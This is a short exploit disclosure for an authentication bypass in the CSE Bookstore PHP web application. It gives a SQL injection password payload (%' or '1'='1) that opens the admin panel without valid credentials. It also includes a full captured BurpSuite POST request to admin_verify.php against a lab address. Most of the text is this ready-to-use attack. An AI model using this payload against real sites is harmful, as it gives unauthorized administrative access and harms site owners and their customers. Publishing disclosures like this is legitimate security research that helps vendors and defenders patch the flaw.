# Exploit Title: CSE Bookstore Authentication Bypass # Date: 27/10/2020 # Exploit Author: Alper Basaran # Vendor Homepage: https://projectworlds.in/ # Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip # Version: 1.0 # Tested on: Windows 10 Enterprise 1909 CSE Bookstore is vulnerable to an authentication bypass vulnerability on the admin panel. By default the admin panel is located at /admin.php and the administrator interface can be accessed by unauthorized users exploiting the SQL injection vulnerability. Payload: Name: admin Pass: %' or '1'='1 Sample BurpSuite intercept: POST /bookstore/admin_verify.php HTTP/1.1 Host: 192.168.20.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 60 Origin: http://192.168.20.131 Connection: close Referer: http://192.168.20.131/bookstore/admin.php Cookie: PHPSESSID=hmqnib0ihkvo235jor7mpfoupv Upgrade-Insecure-Requests: 1 name=admin&pass=%25%27+or+%271%27%3D%271&submit=Submit+Query